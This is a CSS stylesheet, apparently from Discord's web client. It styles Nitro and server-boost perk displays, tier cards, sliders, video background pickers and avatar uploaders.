.actions-1y3UTs { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.giftAction-1LfvoJ { -webkit-box-flex: 1; flex: 1 1 auto; margin-top: 8px; }

.giftActionContent-2UYANx { -webkit-box-align: center; align-items: center; display: flex; }

.giftIcon-ux_SI2 { width: 16px; height: 16px; margin-right: 8px; cursor: pointer; }

.giftIcon-ux_SI2:hover { opacity: 1; }

.iconButton-1O2MqW { display: flex; -webkit-box-align: center; align-items: center; }

.getPremiumIcon-6WMvx5 { width: 16px; height: 16px; margin-right: 4px; }

.theme-dark .ctaBar-AS95ST { background-image: url("https://discord.com/assets/94ff6fdc535b6ecb7b1bc54f2dd56a10.svg"); }

.theme-dark .giftIcon-ux_SI2 { color: rgb(185, 187, 190); }

.theme-dark .badgeIconWithoutSubscribers-XDrfue { color: rgb(114, 118, 125); }

.theme-light .ctaBar-AS95ST { background-image: url("https://discord.com/assets/f6af0869894912b0d08e2729fd9c22c9.svg"); }

.theme-light .giftIcon-ux_SI2 { color: rgb(255, 255, 255); }

.theme-light .badgeIconWithoutSubscribers-XDrfue { color: rgb(144, 153, 164); }

.gemSheen-1shAXr { opacity: 0.45; }

.perks-2cjDsW { display: grid; gap: 16px; grid-template-columns: repeat(3, 1fr); }

.perk-3ia9RN { border-radius: 8px; display: flex; padding: 16px; }

.icon-2us3wP { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; width: 24px; height: 24px; }

.theme-dark .perk-3ia9RN { background-color: rgb(47, 49, 54); }

.theme-light .perk-3ia9RN { background-color: rgb(248, 249, 249); }

.theme-dark .icon-2us3wP, .theme-light .icon-2us3wP { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.wrapper-klRPwZ { background: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)) no-repeat; border-radius: 8px; color: rgb(255, 255, 255); margin-top: 24px; padding: 16px 32px; position: relative; text-align: center; }

.wrapper-klRPwZ::before { position: absolute; top: -44px; right: -82px; background-image: url("https://discord.com/assets/d1dab93347ab65e2b31d9dc39c9c5a9a.svg"); background-repeat: no-repeat; content: ""; width: 168px; height: 88px; }

.heading-3eWwJD { color: inherit; margin-bottom: 16px; }

.headingTier1-2j0hqg { margin-bottom: 8px; }

.headingSecondary-2YTJk0 { color: inherit; font-size: 16px; font-weight: 600; margin-bottom: 24px; }

.tiersList-1LMiJv { display: flex; margin-bottom: 16px; }

.tier-3hyx3j { background-color: rgba(255, 255, 255, 0.06); border-radius: 8px; box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 50%; font-size: 16px; line-height: 20px; padding: 16px; }

.tierVertical-25HgkO { }

.tierVertical-25HgkO + .tierVertical-25HgkO { margin-left: 16px; }

.tierVertical-25HgkO .tierLogo-1IfqYD { margin-bottom: 16px; }

.tierHorizontal-1CwWWC { display: flex; }

.tierHorizontal-1CwWWC .tierLogo-1IfqYD { margin-right: 36px; }

.perk-i7AvqX { display: flex; font-weight: 600; text-align: left; }

.perk-i7AvqX + .perk-i7AvqX { margin-top: 8px; }

.perkAvailable-DLEPLf { }

.perkUnavailable-1ZVT_n { opacity: 0.5; }

.perkAvailabilityIcon-3dEMw5 { margin-right: 10px; width: 16px; height: 16px; }

.perkLabel-3r93JJ { margin-bottom: 4px; }

.perkDescription-16mEoU { margin: 0px; }

.action-3ZcAAg { display: flex; -webkit-box-pack: center; justify-content: center; }

.wrapper-wZvRZ7 { margin: 0px auto; max-width: 440px; text-align: center; }

.heading-2P3_nb { margin-bottom: 12px; }

.originalPrice-2Rvxl4 { text-decoration: line-through; color: var(--text-muted); }

.perksModal-12XaFK { background: center bottom / 100% no-repeat; height: 100%; }

.perksModalContentWrapper-3WBPxC { padding: 64px 0px 96px; }

.closeWrapper-1q1H2L { position: absolute; -webkit-box-pack: center; justify-content: center; padding-top: 32px; z-index: 1; }

.closeContent-3t73yD, .closeWrapper-1q1H2L { display: flex; width: 100%; }

.closeContent-3t73yD { position: fixed; max-width: 660px; -webkit-box-pack: end; justify-content: flex-end; }

.closeIcon-3svgnl { position: relative; right: -120px; }

.content-39kknx { position: relative; max-width: 660px; width: 100%; margin: 0px auto; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.headerGraphic-1YSS-C { display: block; margin-bottom: 16px; width: 95px; height: 60px; }

.headerGraphic-1YSS-C, .headerLogo-2WWRgs { align-self: center; }

.headerLogo-2WWRgs { margin-bottom: 24px; width: 334px; height: 32px; }

.headerBlurb--22SYW { margin-bottom: 36px; text-align: center; }

.progressBarWrapper-KMxckG { margin-top: 64px; min-height: 24px; opacity: 0; transition: opacity 0.2s ease 0s; }

.progressBarWrapperVisible-2vBGpU { opacity: 1; }

.carouselContainer-xvjKDy { margin: 56px 0px 24px; position: relative; transition: opacity 0.2s ease 0s; }

.carouselContainerVisible-21C3dm { opacity: 1; }

.carouselPlaceholder-3S60GS { width: 100%; opacity: 0; min-height: 286px; }

.carousel-12ED4w { height: calc(100% + 24px); }

.carouselItem-1EijB0 { height: 100%; }

.carouselItemSelected-xXrLcw { user-select: text; }

.carouselItemClickable-169jDU { cursor: pointer; user-select: none; }

.tierDefaultUnlocked-2xyFwB { margin-bottom: 16px; }

.tierDefaultUnlockedDescription-2DCiJ1 { margin-top: 10px; }

.tierWrapper-a2NjMv { height: 100%; border-radius: 4px; }

.tier-35s5zK { border-radius: 4px; height: 100%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.tier-35s5zK, .tierHeader-1EmHos { display: flex; }

.tierHeader-1EmHos { -webkit-box-align: center; align-items: center; padding: 16px; border-radius: 4px 4px 0px 0px; position: relative; }

.tierHeaderLocked-AmFepj, .tierHeaderUnlocked-3mntE6 { }

.tierIcon-2TQCz3 { width: 32px; height: 32px; }

.tierTitle-2ky35Z { margin-left: 16px; font-size: 16px; line-height: 20px; -webkit-box-flex: 1; flex: 1 1 0%; font-weight: 600; }

.tierLock-WKTTrK { width: 30px; height: 30px; margin-left: 16px; }

.tierUnlocked-2F5vd1 { border-radius: 10px; padding: 4px 8px; font-size: 12px; font-weight: 600; text-transform: uppercase; }

.tierRequirements-N5fWqR { font-size: 14px; }

.tierBody-24neog { -webkit-box-flex: 1; flex: 1 1 0%; padding: 16px; border-radius: 0px 0px 4px 4px; box-sizing: border-box; font-weight: 500; color: var(--text-normal); }

.previousPerks-QM7wqh { font-size: 14px; line-height: 18px; margin-bottom: 16px; }

.perk-1A8lKa { -webkit-box-align: center; align-items: center; display: flex; margin-top: 14px; }

.perk-1A8lKa:first-child { margin-top: 0px; }

.newBadge-20EMFT { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 8px; text-transform: uppercase; }

.perkIcon-3z_OU4 { width: 20px; height: 20px; flex-shrink: 0; }

.perkText-wAPFS- { font-size: 14px; line-height: 16px; margin-left: 8px; }

.subscriberPerksHeader-IknYbN { margin-bottom: 24px; margin-top: 32px; text-align: center; font-weight: 600; }

.divider-2ey7os { height: 1px; background: var(--background-modifier-accent); margin: 32px 0px; }

.slideIn-2faHNj { margin: 0px auto 16px; max-width: 660px; }

.theme-dark .perksModal-12XaFK { background-image: url("https://discord.com/assets/a49aa0af67106dfc5fed4d6ebfa011c9.svg"); background-color: rgb(54, 57, 63); }

.theme-dark .headerLogo-2WWRgs { color: rgb(255, 255, 255); }

.theme-dark .tierHeaderLocked-AmFepj { background-color: rgb(24, 25, 28); color: rgb(114, 118, 125); }

.theme-dark .tierLock-WKTTrK { color: rgb(79, 84, 92); }

.theme-dark .tierBody-24neog { background-color: rgb(32, 34, 37); }

.theme-light .perksModal-12XaFK { background-image: url("https://discord.com/assets/86498d69483fd2386d7a4bc82a93ded3.svg"); background-color: rgb(255, 255, 255); }

.theme-light .headerLogo-2WWRgs { color: rgb(35, 38, 42); }

.theme-light .tierHeaderLocked-AmFepj { background-color: rgb(248, 249, 249); color: rgb(144, 153, 164); }

.theme-light .tierLock-WKTTrK { color: rgb(144, 153, 164); }

.theme-light .tierBody-24neog { background-color: rgb(255, 255, 255); border: 1px solid rgb(235, 237, 239); }

.theme-dark .tierHeaderUnlocked-3mntE6, .theme-light .tierHeaderUnlocked-3mntE6 { background-image: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); color: rgb(255, 255, 255); }

.theme-dark .tierUnlocked-2F5vd1, .theme-light .tierUnlocked-2F5vd1 { background-color: rgb(255, 255, 255); color: var(--brand-experiment); }

.premiumGuildIconGem-1iVT9u { transition: color 0.1s linear 0s; height: 10px; }

.iconBackgroundTierNone-3tphNu, .iconBackgroundTierOne-jNq-zP, .iconBackgroundTierThree-1XohH1, .iconBackgroundTierTwo-1h61EI { color: var(--background-accent); }

.iconTierNone-15gWQa { color: rgba(255, 255, 255, 0.2); }

.iconTierOne-3W47lX, .iconTierTwo-2gmhjX { color: rgb(255, 255, 255); }

.iconTierThree-2VqtlC { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

.guildIconContainer-2hr-Lk { margin-right: 4px; }

.guildBadge-3X1-Ol .premiumGuildIconGem-17y3NU { transition: color 0.1s linear 0s; }

.disableColor-20r_Xe { color: var(--background-accent); }

.tierTooltipTitle-QE5Y_J { font-weight: 600; }

.premiumGuildIconGem-17y3NU { height: 10px; }

.premiumGuildTierIconBackgroundWithVisibleBanner-2EZ7p2 { color: rgb(255, 255, 255); }

.premiumGuildTierIconWithVisibleBanner-3hKxmo { color: var(--text-muted); }

.iconTierNone-23-DUW { color: rgba(255, 255, 255, 0.2); }

.header-2e2Tou { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.subtitleText-3I_2Vi { text-align: center; margin-bottom: 16px; }

.guildBanner-3bm0Aw { width: 320px; height: 180px; margin-bottom: 24px; border-radius: 4px; background-repeat: no-repeat; background-position: 50% center; background-size: cover; }

.guildHeader-3QioHy { display: flex; -webkit-box-align: center; align-items: center; padding: 0px 16px; height: 48px; box-sizing: border-box; transition: background-color 0.1s linear 0s; filter: drop-shadow(rgba(0, 0, 0, 0.8) 0px 1px 1px); }

.guildName-14o1Zd { color: rgb(255, 255, 255); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; -webkit-box-flex: 1; flex: 1 1 0%; }

.dropdown--7kKAk { color: rgb(255, 255, 255); }

.container-2iAkt_ { background-color: var(--background-tertiary); display: flex; height: 44px; -webkit-box-align: center; align-items: center; }

.premiumGuildIcon-1ZG86D { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); padding-left: 12px; padding-right: 8px; }

.subscribeButton-k92GJ6 { margin-left: auto; font-weight: 600; }

.notice-ZSe05e { background-color: var(--background-tertiary); border-radius: 4px; display: flex; -webkit-box-align: center; align-items: center; }

.noticeWithoutRightPadding-2GAvOv { padding: 8px 0px 8px 8px; }

.noticeWithRightPadding-3OxAxd { padding: 8px; }

.noticeLeft-18mVYJ { -webkit-box-flex: 1; flex-grow: 1; display: flex; -webkit-box-align: center; align-items: center; }

.icon-2-jrW5 { width: 24px; height: 24px; margin-right: 8px; flex-shrink: 0; }

.text-2Jge2Q { -webkit-box-flex: 1; flex: 1 1 0%; margin-right: 16px; }

.nitroPreviewUpsell-1BvGON { border-radius: 5px 5px 0px 0px; padding-right: 0px; padding-left: 12px; }

.slider-1PF9SW { width: 100%; height: 40px; position: relative; }

.mini-dmm9yo { height: 20px; }

.mini-dmm9yo .bar-2Qqk5Z { top: 17px; height: 6px; }

.mini-dmm9yo .grabber-3mFHz2 { width: 12px; height: 12px; margin-left: -7px; margin-top: 3px; border-radius: 50%; }

.disabled-bolDAc { opacity: 0.6; }

.disabled-bolDAc .grabber-3mFHz2 { cursor: not-allowed; }

.input-2_ChIk { display: none; }

.bar-2Qqk5Z { position: relative; top: 16px; height: 8px; border-radius: 4px; display: block; overflow: hidden; }

.barFill-23-gu- { background: var(--brand-experiment); height: 100%; }

.track-11EASc { position: absolute; inset: 0px 5px; }

.grabber-3mFHz2 { width: 10px; height: 24px; margin-left: -5px; top: 50%; margin-top: -13px; border-radius: 3px; background-color: rgb(255, 255, 255); border: 1px solid rgb(220, 221, 222); box-shadow: rgba(0, 0, 0, 0.05) 0px 3px 1px 0px, rgba(0, 0, 0, 0.1) 0px 2px 2px 0px, rgba(0, 0, 0, 0.05) 0px 3px 3px 0px; cursor: ew-resize; }

.grabber-3mFHz2, .mark-1xjQqt { position: absolute; left: 0px; }

.mark-1xjQqt { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; width: 24px; margin-left: -12px; user-select: none; }

.markAbove-2I4brk { top: -6px; }

.markBelow-6DH75T { bottom: -12px; }

.markValue-2DwdXI { padding-left: 1px; font-weight: 700; font-size: 10px; margin-bottom: 4px; min-height: 10px; }

.markDash-3hAolZ { height: 24px; width: 2px; }

.markDashSimple-1vLOGW { margin-top: 10px; }

.theme-light .bar-2Qqk5Z { background: rgb(220, 221, 222); }

.theme-light .markValue-2DwdXI { color: rgb(185, 187, 190); }

.theme-light .markDash-3hAolZ { background: rgb(220, 221, 222); }

.theme-dark .bar-2Qqk5Z { background: rgb(79, 84, 92); }

.theme-dark .markValue-2DwdXI { color: rgb(114, 118, 125); }

.theme-dark .markDash-3hAolZ { background: rgb(79, 84, 92); }

.defaultValue-3gC7yw .markValue-2DwdXI { color: var(--text-positive); }

.modalContent-nFuWe- { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; }

.editingContainer-1iOrsV, .modalContent-nFuWe- { display: flex; }

.editingContainer-1iOrsV { -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; position: relative; overflow: hidden; background-color: rgb(0, 0, 0); border-radius: 4px; min-height: 300px; height: 400px; max-height: 500px; }

.image-1O4VR4 { height: 100%; pointer-events: all; position: absolute; }

.image-1O4VR4, .imageEnabled-fDxIJV { cursor: grab; }

.imageEnabled-fDxIJV { }

.imageDisabled-VmdCvB { cursor: not-allowed; }

.icon-1BtL8T { color: var(--text-normal); padding: 0px 20px; }

.overlay-qP93Id { z-index: 1; border: 5px solid rgb(255, 255, 255); box-sizing: border-box; pointer-events: none; position: absolute; box-shadow: rgba(47, 49, 54, 0.6) 0px 0px 0px 9999px; }

.overlayAvatar-1voNS7 { border-radius: 50%; }

.overlayAvatar-1voNS7, .overlayBanner-394JZU { }

.sliderContainer-2Pbe0z { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; width: 90%; margin: 20px auto; }

.cancelButton-2NwKof { margin-right: 12px; }

.modalFooter-37WjOa { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; }

.buttonsRight-_u8_mF, .modalFooter-37WjOa { display: flex; }

.buttonsRight-_u8_mF { -webkit-box-flex: 1; flex-grow: 1; -webkit-box-pack: end; justify-content: flex-end; }

.titleCase-2k55R2 { text-transform: none; }

.root-3-OKEZ { text-align: center; }

.root-3-OKEZ p { margin: 0px 0px 16px; }

.header-1afJj7 { margin-bottom: 8px; }

.content-3zS6lm { margin-bottom: 32px; }

.footer-1dAGh4 { -webkit-box-pack: justify; justify-content: space-between; }

.primaryActions-LD_-cb { display: flex; -webkit-box-align: center; align-items: center; }

.secondaryAction-1rI7Iw { margin-right: 8px; }

.artContainer-1EdHbR { position: relative; margin: -48px auto 24px; width: 225px; border-radius: 8px; box-shadow: var(--elevation-medium); }

.art-1r1UyT { width: 225px; }

.sparkleBadge-2pfBfb { position: absolute; top: 0px; left: 0px; margin-top: -18px; margin-left: -12px; display: block; width: 47px; height: 34px; filter: drop-shadow(rgba(0, 0, 0, 0.3) 0px 1px 3px); }

.newBadge-2wENLF { display: inline-block; vertical-align: middle; margin-top: -2px; }

.learnMoreLink-2r-LKX { cursor: pointer; color: var(--text-link); }

.videoBackgroundArt-2rGRta { height: 154px; width: 225px; }

.spacingTop24-2TKHkv { margin-top: 24px; }

.overflowEllipsis-1eRoaA { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.permissionWarning-1y-7yL { margin-top: 8px; }

.selector-3qI8sT { margin-top: 16px; width: 100%; }

.selector-3qI8sT.selectorNoHeader-3rlNSy { margin-top: 24px; }

.videoBackgroundError-gc1wMi { margin-top: 16px; }

.tooltip-Vs2HJU { max-width: 244px; text-align: center; }

.backgroundOptions-2NdDN_ { margin-top: 16px; display: grid; gap: 12px; -webkit-box-pack: justify; place-content: space-between; }

.backgroundOptionsSmall-1msufC { grid-template-columns: repeat(auto-fill, 112px); grid-auto-rows: 57px; }

.backgroundOptionsLarge-1bDBXM { grid-template-columns: repeat(auto-fill, 178px); grid-auto-rows: 91px; }

.backgroundOption-3SYprY { box-sizing: border-box; position: relative; cursor: pointer; width: 100%; height: 100%; transition: box-shadow 0.2s ease-out 0s, transform 0.2s ease-out 0s, background 0.2s ease-out 0s, opacity 0.2s ease-in 0s, -webkit-box-shadow 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.backgroundOption-3SYprY:hover:not(.backgroundOption-3SYprY.backgroundOptionDisabled-MiXLfn):not(.backgroundOptionSelected-33AYZn) { transform: translateY(-1px); box-shadow: var(--elevation-medium); }

.backgroundOption-3SYprY:hover:not(.backgroundOption-3SYprY.backgroundOptionDisabled-MiXLfn):not(.backgroundOptionSelected-33AYZn) .backgroundImageOption-127aO7 { transform: scale(1.05) translateZ(0px); }

.backgroundOptionInner-xEE-w0 { background-color: rgb(32, 34, 37); overflow: hidden; border-radius: 4px; position: relative; width: 100%; height: 100%; }

.backgroundOptionRing-3uvncP { border: 2px solid hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); position: absolute; inset: -4px; border-radius: 4px; }

.backgroundOptionDisabled-MiXLfn { cursor: not-allowed; }

.backgroundOptionDisabled-MiXLfn .backgroundCustomInlineUpsellBackgroundDarkener-1QNIzU { opacity: 0.04; }

.backgroundOptionContent-24R4fn { position: relative; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 100%; height: 100%; color: rgb(255, 255, 255); }

.backgroundOptionText-35m_Rd { box-sizing: border-box; max-width: 100%; padding: 0px 4px; }

.backgroundIconOptionIcon-_LqemE { height: 24px; }

.uploadIconOption-1L4FEL { width: 16px; }

.blurOptionIcon-2zgNtG { width: 24px; }

.noneOptionIcon-31rQMB { width: 18px; }

.backgroundImageOption-127aO7 { height: 100%; width: 100%; background-position: 50% center; background-size: cover; background-repeat: no-repeat; transition: transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.snowflakeIcon-2Kh5TQ { position: absolute; top: 4px; left: 4px; width: 14px; height: 14px; padding: 1px; background-color: rgba(0, 0, 0, 0.4); color: rgb(255, 255, 255); border-radius: 50%; }

.snowsgivingTooltip-3XfADA { text-align: center; }

.snowsgivingTooltipTop-1SoEWi { display: flex; -webkit-box-align: center; align-items: center; }

.snowsgivingTooltipBorder-3VeNiS { margin: 8px 0px; width: 100%; height: 1px; background-color: currentcolor; opacity: 0.06; }

.snowsgivingTooltipSnowflakeIcon-2Oxknx { width: 14px; height: 14px; margin-right: 4px; color: rgb(157, 217, 251); }

.backgroundOptionBackgroundBlurred-2J0z6O { position: absolute; filter: blur(14px); }

.backgroundOptionBlurBackground-3c3gSC { background-image: url("https://discord.com/assets/8fb53e999888053aa3d85d4c61e26959.png"); }

.tooltipWrapper-1RJOoi { height: 100%; }

.imageInput-QJ0fJa { display: none; }

.backgroundCustomInlineUpsellBackground-1q8bd1 { position: absolute; background-image: linear-gradient(90deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); }

.backgroundCustomInlineUpsellBackgroundDarkener-1QNIzU { position: absolute; height: 100%; width: 100%; background-color: rgb(95, 95, 95); filter: blur(12px); opacity: 0.2; }

.backgroundCustomInlineUpsell-1aMMlC { display: flex; -webkit-box-align: center; align-items: center; }

.backgroundCustomInlineUpsellIcon-GmWo_F { width: 14px; height: 14px; flex-shrink: 0; margin-right: 4px; }

.customBackgroundTooltip-147103 { display: flex; -webkit-box-align: center; align-items: center; color: var(--interactive-normal); }

.customBackgroundTooltipIcon-6AvJY6 { margin-right: 4px; width: 16px; height: 16px; }

.previewToggle-1Ertm9 { margin-top: 24px; }

.cameraPreviewTitle-2AibvC { display: flex; -webkit-box-align: center; align-items: center; }

.newBadge-1OMnsx { margin-left: 8px; text-transform: uppercase; }

.theme-dark .backgroundOptionDisabled-MiXLfn .backgroundCustomInlineUpsellBackground-1q8bd1, .theme-dark .backgroundOptionDisabled-MiXLfn .backgroundOptionContent-24R4fn { opacity: 0.2; }

.theme-light .backgroundOptionDisabled-MiXLfn .backgroundCustomInlineUpsellBackground-1q8bd1, .theme-light .backgroundOptionDisabled-MiXLfn .backgroundOptionContent-24R4fn { opacity: 0.5; }

.modalHeader-10a8zE { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-top: 32px; }

.modalClose-FjmM7t { position: absolute; top: 20px; right: 20px; width: 16px; height: 16px; }

.modalRoot-1XowU7 { margin-top: 76px; flex-shrink: 1; min-height: 0px; }

.header-1EVHO2 { text-align: center; }

.headerWithoutBackgroundEducation-27QXwi { margin-top: 16px; }

.subtitle-gARoTt { text-align: center; margin-top: 8px; }

.subtitle-gARoTt p { margin: 0px; }

.subtitle-gARoTt p:not(:first-child) { margin-top: 8px; }

.spinner-2D09Su { top: 50%; left: 50%; transform: translate(-50%, -50%); }

.camera-1WWmPt, .spinner-2D09Su { position: absolute; }

.camera-1WWmPt { inset: 0px; transform: scaleX(-1); }

.cameraPreview-3VbjBn { margin: 24px auto 0px; position: relative; background: var(--background-secondary-alt); border-radius: 4px; overflow: hidden; height: 207px; width: 368px; flex-shrink: 0; }

.content-3n1cMX { display: flex; padding: 0px 36px 16px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.contentWithVideoBackgrounds-1Q8HbA { width: 440px; }

.videoBackgroundEducationContainer-2zTis2 { width: 100%; display: flex; -webkit-box-pack: center; justify-content: center; }

.videoBackgroundEducationImage-2hf4Tm { position: absolute; background-image: url("https://discord.com/assets/d968f72b805251442d0a037f27a93015.svg"); background-repeat: no-repeat; top: -76px; width: 248px; height: 125px; }

.item-2TSF7r { display: flex; -webkit-box-align: center; align-items: center; }

.badge-ylPMyP { margin-left: 4px; text-transform: uppercase; }

.avatarUploader-3XDtmn { text-align: center; font-size: 12px; }

.avatarUploader-3XDtmn .removeButton-1hcZyG { margin-top: 10px; font-size: 14px; font-weight: 600; display: block; text-decoration: none; cursor: pointer; }

.avatarUploader-3XDtmn .sizeInfo-SKMPPw { margin-top: 10px; display: block; font-size: 10px; color: rgb(135, 144, 156); }

.avatarUploader-3XDtmn .sizeInfo-SKMPPw strong { font-weight: 700; }

.avatarUploader-3XDtmn.disabled-10u2on .avatarUploaderInner-3UNxY3:focus-within, .avatarUploader-3XDtmn.disabled-10u2on .avatarUploaderInner-3UNxY3:hover { box-shadow: none; }

.avatarUploaderInner-3UNxY3 { display: inline-block; width: 138px; height: 138px; border-radius: 50%; background-color: var(--brand-experiment); background-size: cover; background-position: 50% center; background-repeat: no-repeat; position: relative; box-sizing: border-box; flex-shrink: 0; }

.avatarUploaderInner-3UNxY3 > * { position: absolute; inset: 0px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; pointer-events: none; color: rgb(255, 255, 255); }

.avatarUploaderInner-3UNxY3 .fileInput-23-d-3, .avatarUploaderInner-3UNxY3 input[type="file"] { pointer-events: auto; }

.avatarUploaderInner-3UNxY3:focus-within, .avatarUploaderInner-3UNxY3:hover { box-shadow: rgba(0, 0, 0, 0.75) 0px 0px 120px inset; }

.avatarUploaderInner-3UNxY3:focus-within .avatarUploaderAcronym-3SioMc, .avatarUploaderInner-3UNxY3:hover .avatarUploaderAcronym-3SioMc { visibility: hidden; }

.avatarUploaderInner-3UNxY3:focus-within .avatarUploaderHint-3SN212, .avatarUploaderInner-3UNxY3:hover .avatarUploaderHint-3SN212 { visibility: visible; }

.fileInput-23-d-3 { cursor: pointer; }

.avatarUploaderAcronym-3SioMc { font-size: 40px; overflow: hidden; white-space: nowrap; }

.avatarUploaderHint-3SN212 { visibility: hidden; font-size: 10px; font-weight: 700; text-transform: uppercase; line-height: 12px; white-space: pre; }

.avatarUploaderIcon-3UIzEQ { position: absolute; top: 0px; right: 0px; left: auto; width: 28px; height: 28px; background-repeat: no-repeat; background-position: 50% center; border-radius: 50%; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 4px 0px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.avatarUploaderIconDisabled-1ePkOQ { opacity: 0.01; }

.removeButton-1hcZyG { color: var(--interactive-normal); }

.removeButton-1hcZyG:hover { color: var(--interactive-hover); }

.theme-light .avatarUploaderIcon-3UIzEQ { background-color: rgb(255, 255, 255); background-image: url("https://discord.com/assets/71581d199cdc2488d0918b917053d8c5.svg"); }

.theme-dark .avatarUploaderIcon-3UIzEQ { background-color: rgb(220, 221, 222); background-image: url("https://discord.com/assets/4a1000a95b1aad334e98f9d15b9d0ec4.svg"); }

.card-3G-r0J { margin-bottom: 20px; padding: 10px; line-height: 20px; }

.identityDescription-Ug-LlS { margin-bottom: 16px; }

.itemGroup-RamNh5 { margin-bottom: 8px; }

.perServerAvatarTitle-2XHGZl { margin-top: 24px; }

.modalContent-2jbePY { padding-bottom: 24px; }

.reset-3R4_Qn { cursor: pointer; padding-left: 0px; padding-right: 0px; margin-top: 8px; }

.reset-3R4_Qn:hover { opacity: 1; text-decoration: underline; }

.avatarError-Z5-Fpy, .nickError-2B7ydO { margin-top: 8px; }

.warning-1Hb_iF { color: rgb(255, 255, 255); }

.upsellCard-27q57L { display: flex; -webkit-box-align: center; align-items: center; background: var(--background-tertiary); padding: 8px; color: var(--text-normal); border-radius: 4px; margin-bottom: 8px; cursor: pointer; }

.upsellIcon-2ahsiq { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; }

.upsellText-BaOluH { -webkit-box-flex: 1; flex: 1 1 auto; }

.upsellText-BaOluH strong { font-weight: 400; color: var(--text-link); }

.avatarUploader-2mZTUT { margin-top: 24px; }

.avatarUploaderInner-1mFky4 { width: 80px; height: 80px; background-color: var(--background-secondary); }

.disabled-3JC_nn { opacity: 0.4; position: relative; }

.disabled-3JC_nn::after { content: ""; position: absolute; inset: 0px; }

.serverAvatarPremiumIconContainer-QNyWnL { margin-left: 4px; }

.serverAvatarPremiumIcon-AVVxnk { display: inline-block; vertical-align: middle; position: relative; top: -1px; }

.labelWrapper-KL3-vV { display: flex; gap: 4px 8px; flex-wrap: wrap; -webkit-box-align: center; align-items: center; }

.label-XiO4av { text-overflow: ellipsis; overflow: hidden; }

.newBadge-34a1Fs { display: inline-block; text-transform: uppercase; vertical-align: middle; }

.badgeSpacing-C_A7t1 { margin-left: 8px; }

.description-3BvR20 { margin-bottom: 16px; }

.input-2suNrw { margin-bottom: 8px; }

.reset-2IwrbI { text-transform: capitalize; cursor: pointer; margin-bottom: 20px; padding-left: 1px; padding-right: 1px; opacity: 0.6; }

.reset-2IwrbI:hover { opacity: 1; text-decoration: underline; }

.spacing-2jY1b4 { }

.spacing-2IUlSR { }

.mask-2xtthE { display: block; }

.icon-3Rn_DX { width: 32px; height: 32px; }

.icon-2VCx8O { color: var(--interactive-normal); }

.wrapper-2siovq { border-radius: 8px; transition: background-color 0.1s ease-in-out 0s; }

.wrapper-2siovq:hover { background-color: var(--background-modifier-hover); }

.wrapper-2siovq:hover .icon-2VCx8O { color: var(--interactive-hover); }

.selected-3xBBKs, .selected-3xBBKs:hover { background-color: var(--background-primary); }

.selected-3xBBKs .icon-2VCx8O, .selected-3xBBKs:hover .icon-2VCx8O { color: var(--interactive-active); }

.theme-light .selected-3xBBKs .icon-2VCx8O, .theme-light .selected-3xBBKs:hover .icon-2VCx8O { color: rgb(79, 86, 96); }

.wrapper-3N9-Kx { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; padding: 8px 4px; height: 16px; border-radius: 2px; margin: 2px 0px; }

.loadingWrapper-3MIWTZ { -webkit-box-pack: center; justify-content: center; }

.disabled-2IGvcl { cursor: pointer; pointer-events: none; opacity: 0.5; }

.focused-oQNxjC { background-color: var(--brand-experiment-560); }

.icon-1UBnv_ { margin-right: 4px; }

.list-23PQQ_ { max-height: 500px; }

.roleRow-1iQo_1 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.roleDot-2bTP_S { width: 12px; height: 12px; border-radius: 50%; margin-right: 8px; flex-shrink: 0; box-sizing: border-box; }

.sliderContainer-2Nrll8 { box-sizing: border-box; padding: 0px 8px; overflow: visible; }

.slider-2zxowp { position: relative; top: -14px; }

.availabilityIndicator-3BD0dt { display: flex; margin-top: -1px; }

.icon-3PSaJi { -webkit-box-flex: 0; flex: 0 0 auto; position: relative; top: 1px; width: 14px; height: 14px; margin-right: 3px; }

.lockedIcon-2QHcEi { color: var(--interactive-normal); }

.unlockedIcon-2_goS1 { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); }

